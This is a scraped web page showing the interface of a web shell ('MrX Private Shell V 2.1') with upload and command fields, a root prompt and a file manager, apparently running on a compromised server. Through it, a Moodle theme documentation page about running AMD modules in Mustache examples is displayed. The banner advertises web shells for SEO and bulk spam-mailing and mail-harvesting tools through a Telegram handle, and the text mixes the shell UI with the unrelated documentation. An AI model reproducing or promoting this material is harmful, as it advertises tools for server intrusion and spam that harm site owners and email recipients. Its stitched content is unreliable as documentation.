__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

root@216.73.217.122: ~ $
---
layout: docs
title: "Moodle JavaScript"
date: 2020-01-14T13:38:37+01:00
group: moodle-components
draft: false
menu: "main"
---

## Running AMD modules

When using this (shortcode) syntax you can showcase your HTML and add some RequireJS style Javascript that will call core AMD modules.

In order for this to work you need to use the JavaScript syntax used in core Mustache templates. See the ```{{js}}``` tags in this example below:

{{< example >}}
<div id="toasttest" role="alert" aria-live="assertive" aria-atomic="true" class="toast" data-autohide="false">
  <div class="toast-header">
    <img src="http://placekitten.com/50/50" class="rounded me-2" alt="PlaceKitten">
    <strong class="me-auto">Bootstrap</strong>
    <small>11 mins ago</small>
    <button type="button" class="ms-2 mb-1 btn-close" data-dismiss="toast" aria-label="Close">
      <span aria-hidden="true">&times;</span>
    </button>
  </div>
  <div class="toast-body">
    Hello, world! This is a toast message.
  </div>
</div>
{{#js}}
require(
[
    'jquery',
    'theme_boost/toast',
],
function(
    $,
    Toast
) {
    var root = $('#toasttest');
    root.toast('show');
});
{{/js}}
{{< /example >}}

Filemanager

Name Type Size Permission Actions
_index.md File 86 B 0644
adding-images.md File 1.08 KB 0644
adding-pages.md File 2.22 KB 0644
component-library-backend.md File 2.08 KB 0644
example-files.md File 2.35 KB 0644
getting-started.md File 1.72 KB 0644
moodle-javascript.md File 1.16 KB 0644
moodle-templates.md File 1.38 KB 0644
syntax-highlighting.md File 2.03 KB 0644
Filemanager